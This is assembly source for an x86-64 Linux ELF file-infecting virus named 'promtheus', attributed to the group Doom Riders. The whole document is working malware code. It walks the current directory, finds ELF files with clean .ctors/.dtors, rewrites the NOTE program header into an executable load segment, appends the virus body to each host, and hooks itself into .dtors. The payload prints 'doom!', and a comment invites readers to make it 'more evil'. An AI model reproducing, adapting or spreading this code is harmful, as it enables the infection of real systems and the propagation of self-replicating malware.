;promtheus june/2006 ;written by impurity ;Doom Riders ;www.doomriderz.co.nr ;x86-64 linux virus ;tested on AMD64 SELinux ;HOW IT WORKS ;Poisons .NOTE section ;pads and prepends original file ;adds point to viral code to .dtors %define sys_read 0 %define sys_write 1 %define sys_open 2 %define sys_close 3 %define sys_lseek 8 %define sys_getdents 78 %define sys_exit 60 %define PT_LOAD 01 %define O_RDWR 2 %define ELF 0x00010102464C457F %define O_DIRECT 040000 global _start section .text _start: push '.' mov rdi, rsp call open_dir mov rdi, rax call read_dir ;r13=next entry, r12=file name ;r9=offset to next, r8=current entry mov r13, rsp add r13, 0x10 ;skip first inode & offset ;loop examines each file in directory loopdir: ;if next file name is null ;were done mov rax, r13 add rax, 2 mov rax, [rax] xor rbx, rbx cmp rbx, rax je pay_load ;next getdents is null, all files examined ;setup r[8-13] mov r8, r13 ;r8=current entry mov r9, [r8] ;r9=offset to next and r9, 0x000000000000FFFF ;lower 2 bytes only plz mov r12, r8 ;r12=string name inc r12 ;skip past offset inc r12 mov r13, r8 ;r13=next entry add r13, r9 ;this_entry+offset mov rdi, r12 call open_file mov rdi, rax call verify_host xor rdx, rdx cmp rdx, r10 je next_file call infect_host next_file: call close_file jmp loopdir ;------ ; payload ; if your an asshole you ; can change this to something ; more evil ;] ;------ pay_load: push 'd' mov rax, sys_write mov rdi, 1 mov rsi, rsp mov rdx, 1 syscall push 'o' mov rax, sys_write mov rdi, 1 mov rsi, rsp mov rdx, 1 syscall push 'o' mov rax, sys_write mov rdi, 1 mov rsi, rsp mov rdx, 1 syscall push 'm' mov rax, sys_write mov rdi, 1 mov rsi, rsp mov rdx, 1 syscall push '!' mov rax, sys_write mov rdi, 1 mov rsi, rsp mov rdx, 1 syscall push 0x0a mov rax, sys_write mov rdi, 1 mov rsi, rsp mov rdx, 1 syscall mov rax, sys_exit mov rdi, 666 syscall ;---------- ;----------- ; args: rdi=dir name ; out: rax=fd open_dir: mov rax, sys_open xor esi, esi syscall ret ;----------- ;----------- ; args: rdi=fd ; out: rsp=getdents info read_dir: mov rax, sys_getdents pop r15 ;save ret sub rsp, 0x1000 ;make some room mov rsi, rsp mov rdx, 0x1000 syscall push r15 ret ;----------- ;----------- ;args: rdi=name ;out: rax=fd open_file: mov rax, sys_open mov rsi, O_RDWR syscall ret ;----------- ;--------- ;args: rdi=fd ;out: null close_file: mov rax, sys_close syscall ret ;---------- ;args: rdi=fd ;out: rdi=fd, r10=0 if cant infect, offset to dtors otherwise verify_host: sub rsp, 8 ;first check for ELF magic mov rax, sys_read mov rsi, rsp mov rdx, 8 syscall pop rax mov rbx, ELF cmp rbx, rax jne verify_failed ;now search for clean ctors/dtors ;if they are both clean, we know we can infect ;ctors/dtors section will be aligned on a 4 byte boundary ;so we will progressively look through the file that way ;this will cause some overlap, oh well ;rcx keeps track of our search base xor rax, rax xor r10, r10 search_loop: mov rax, sys_lseek mov rsi, r10 xor rdx, rdx syscall add r10, 4 mov rax, sys_read sub rsp, 32 mov rsi, rsp mov rdx, 32 syscall cmp rax, 32 jne verify_read_failed ;read was good, continue ;we'll pop each 8 byte address into rbx pop rbx cmp rbx, -1 jne firstbad pop rbx cmp rbx, -0 jne secondbad pop rbx cmp rbx, -1 jne thirdbad pop rbx cmp rbx, 0 jne continue_search add r10, 20 jmp verify_sucsess ;for return rsp to normal firstbad: pop rbx secondbad: pop rbx thirdbad: pop rbx continue_search: jmp search_loop verify_sucsess: ret ;rbx=offset to dtors verify_read_failed: add rsp, 32 verify_failed: xor rbx, rbx xor r10, r10 ;push r14 ret ;----------------- ;----------------- ;args: rdi=fd, rbx=offset to dtors ;out: rdi=fd infect_host: ;mov r10, rbx ;r10=offset to dtors ;check target size mov rax, sys_lseek mov rsi, 0 mov rdx, 2 syscall mov rbp, rax ;save host file size ;pad end to multiple of 16 mov rbx, 16 div rbx cmp rdx, 0 je alreadyaligned mov rbx, 16 sub rbx, rdx ;16-(filesize%16)=alignment bytes push 0 mov r14, 0 alignloop: cmp r14, rbx jge forcealigned mov rax, sys_write mov rsi, rsp mov rdx, 1 syscall inc r14 inc rbp ;keep track of changing file size jmp alignloop forcealigned: pop rax ;get rid of null quadword alreadyaligned: ;change note section to loadable ;change permissions on section to read/execute mov rax, sys_lseek mov rsi, 0x158 ;offset to note section xor rdx, rdx syscall push 0x01 mov rax, sys_write mov rsi, rsp mov rdx, 4 syscall pop rax ;clean up stack mov rax, sys_lseek mov rsi, 0x15c xor rdx, rdx syscall push 0x05 mov rax, sys_write mov rsi, rsp mov rdx, 4 syscall pop rax ;change note section file offset mov rax, sys_lseek mov rsi, 0x160 xor rdx, rdx syscall push rbp mov rax, sys_write mov rsi, rsp mov rdx, 8 syscall pop rax ;change virtual address mov r14, rbp add r14, 0x400000 mov rax, sys_lseek mov rsi, 0x168 xor rdx, rdx syscall push r14 mov rax, sys_write mov rsi, rsp mov rdx, 8 syscall mov rax, sys_lseek mov rsi, 0x170 xor rdx, rdx syscall mov rax, sys_write mov rsi, rsp mov rdx, 8 syscall pop rax ;change disk size/mem size mov r14, prometheus_end - _start mov rax, sys_lseek mov rsi, 0x178 xor rdx, rdx syscall push r14 push r14 mov rax, sys_write mov rsi, rsp mov rdx, 16 syscall pop rax ;clean up stack pop rax ;add myself to dtors mov rax, sys_lseek mov rsi, r10 xor rdx, rdx syscall mov r14, rbp add r14, 0x400000 push r14 mov rax, sys_write mov rsi, rsp mov rdx, 8 syscall pop rax ;append myself mov rax, sys_lseek mov rsi, rbp xor rdx, rdx syscall call offset offset: pop rsi sub rsi, offset mov rax, sys_write add rsi, _start mov rdx, prometheus_end - _start syscall ret prometheus_end: